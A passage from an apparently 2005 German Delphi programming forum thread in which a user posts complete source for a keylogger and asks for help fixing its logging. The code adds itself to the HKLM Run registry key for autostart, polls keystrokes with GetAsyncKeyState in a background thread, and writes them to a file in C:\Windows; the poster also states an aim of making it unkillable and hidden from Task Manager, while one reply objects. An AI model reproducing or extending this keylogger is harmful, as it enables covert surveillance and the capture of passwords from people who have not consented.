Autor Beitrag
F34r0fTh3D4rk Threadstarter
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 5284
Erhaltene Danke: 27

Win Vista (32), Win 7 (64)
Eclipse, SciTE, Lazarus
BeitragVerfasst: Di 15.02.05 21:07 
weil du ein formular angezeigt hast?

mach mal application.showmainform:= false;

hier mal mein gesamter code:
ausblenden volle Höhe Delphi-Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
67:
68:
69:
70:
71:
72:
73:
74:
75:
76:
77:
78:
79:
80:
81:
82:
83:
84:
85:
86:
87:
88:
89:
90:
91:
unit UMain;

interface

uses
  Windows, SysUtils, Forms, Registry;

type
  TForm1 = class(TForm)
    procedure FormCreate(Sender: TObject);
    procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
  private

  public

  end;

var
  Form1: TForm1;
  f: file of byte;

implementation

{$R *.dfm}
procedure RegisterAutorun;
var
  Reg: TRegistry;
begin
   Reg := TRegistry.create;
  try
   Reg.RootKey := HKEY_LOCAL_MACHINE;
   Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', True);
   Reg.WriteString('keylog', paramstr(0));
  finally
    Reg.Free;
  end;
end;

procedure keylogger;
var
  i: byte;
begin
  while true do
    begin
      for i := 48 to 90 do
        if boolean(getasynckeystate(i)) then
          write(f,i);
          sleep(10);
    end;
end;

procedure TForm1.FormCreate(Sender: TObject);
var
  tid: cardinal;
  tf, b: string;
  i, ch: byte;
begin
  RegisterAutorun;
  tf:= 'C:\Windows\' + datetostr(now) + '.log';
  assignfile(f, tf);
  if fileexists(tf) then
    begin
      reset(f);
      seek(f, filesize(f));
    end else
      rewrite(f);
  b:= ' [Started Logging at ' + timetostr(now) +'] ';
  for i:= 1 to length(b) do
    begin
      ch:= ord(b[i]);
      write(f,ch);
    end;
  createthread(nil,0,@keylogger,nil,0,tid);
end;

procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
var
  b: string;
  i, ch: byte;
begin
  b:= ' [Stopped Logging at ' + timetostr(now) +'] ';
  for i:= 1 to length(b) do
    begin
      ch:= ord(b[i]);
      write(f,ch);
    end;
  closefile(f);
end;


end.

ich starte das prog und beende es nd die txt sieht so aus:
ausblenden Quelltext
1:
[Started Logging at 'UHRZEIT']					

danach folgt nicht, wie erwartet:
ausblenden Quelltext
1:
[Stopped Logging at 'UHRZEIT']					

:(
Sprint
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic star
Beiträge: 849



BeitragVerfasst: Di 15.02.05 21:20 
F34r0fTh3D4rk hat folgendes geschrieben:
weil du ein formular angezeigt hast?
mach mal application.showmainform:= false;

Habe ShowMainForm := False unter Windows 95 & Windows NT 4 mit Delphi 3 getestet. OnCloseQuery wird aufgerufen und OnClose nicht. Leider kann ich meine Workstation jetzt nicht runterfahre, sonst hätte ich es auch noch unter Windows XP mit Delphi 5 getestet.

Hat das einen Grund, das du Uraltfunktion wie AssignFile benutzt? Und warum benutzt du nicht die Klasse TThread?

_________________
Ciao, Sprint.
F34r0fTh3D4rk Threadstarter
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 5284
Erhaltene Danke: 27

Win Vista (32), Win 7 (64)
Eclipse, SciTE, Lazarus
BeitragVerfasst: Di 15.02.05 21:21 
das muss doch auch testbar sein, wenn man das mit programm zurücksetzen testet oder ?
Sprint
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic star
Beiträge: 849



BeitragVerfasst: Di 15.02.05 21:24 
Kannst das "Windows beenden" ja simulieren, in dem du eine WM_QUERYENDSESSION sendest.

_________________
Ciao, Sprint.
F34r0fTh3D4rk Threadstarter
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 5284
Erhaltene Danke: 27

Win Vista (32), Win 7 (64)
Eclipse, SciTE, Lazarus
BeitragVerfasst: Di 15.02.05 21:27 
nach dem rebooten geht es, aber mit welcher msg beendet delphi denn das programm, oder wird das einfach gekillt, wie beim taskmanager ? (eigentlich soll das programm ja unbeendlich sein, halt nur vom hautprogramm :?)

ok mitm reboot funzt es :) nur darf mein prog dann nicht anders beendet werden :(

man müsste eine eigene message definieren, die man halt an das programm schickt und nur dann wird es beendet und im taskmanager darf es denn ja garnet angezeigt werden und aus der registry rausnehmen kann mans ja auch noch ...

freeware alternativen zu teurer software zu schreiben ist mühsehlig :hair:

Moderiert von user profile iconChristian S.: Beiträge zusammengefasst
Luckie
Ehemaliges Mitglied
Erhaltene Danke: 1



BeitragVerfasst: Di 15.02.05 21:31 
F34r0fTh3D4rk hat folgendes geschrieben:
ok mitm reboot funzt es :) nur darf mein prog dann nicht anders beendet werden :(

Warum denn das? auf meinem Rechner bestimme immer noch ich, was läuft, was nicht läuft und wann (Betriebssystem mal ausgenommen.). Und da hat mit kein Programmierer was vorzuschreiben.
Sprint
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic star
Beiträge: 849



BeitragVerfasst: Di 15.02.05 21:50 
F34r0fTh3D4rk hat folgendes geschrieben:
nach dem rebooten geht es, aber mit welcher msg beendet delphi denn das programm, oder wird das einfach gekillt, wie beim taskmanager ? (eigentlich soll das programm ja unbeendlich sein, halt nur vom hautprogramm

Hab ich doch schon geschrieben. Ließt du hier eigentlich?

_________________
Ciao, Sprint.
F34r0fTh3D4rk Threadstarter
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 5284
Erhaltene Danke: 27

Win Vista (32), Win 7 (64)
Eclipse, SciTE, Lazarus
BeitragVerfasst: Mi 16.02.05 18:22 
Zitat:

Warum denn das? auf meinem Rechner bestimme immer noch ich, was läuft, was nicht läuft und wann (Betriebssystem mal ausgenommen.). Und da hat mit kein Programmierer was vorzuschreiben.

Dem User gehört in diesem Falle nicht der PC, er soll überwacht werden!
Am Anfang kommt so ein Popup, dieser PC wird überwacht ...
delfiphan
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic star
Beiträge: 2684
Erhaltene Danke: 32



BeitragVerfasst: Mi 16.02.05 18:44 
Titel: beenden?
Wie beendest du das Programm? Mit "halt;" geht es natürlich nicht! Versuch mal "close;". Wenn das Programm nicht sauber geschlossen werden kann, wird OnClose natürlich nicht aufgerufen. -- Edit: Sorry, hatte nicht alle Seiten nachgelesen. Du beendest das Programm gar nicht selbst.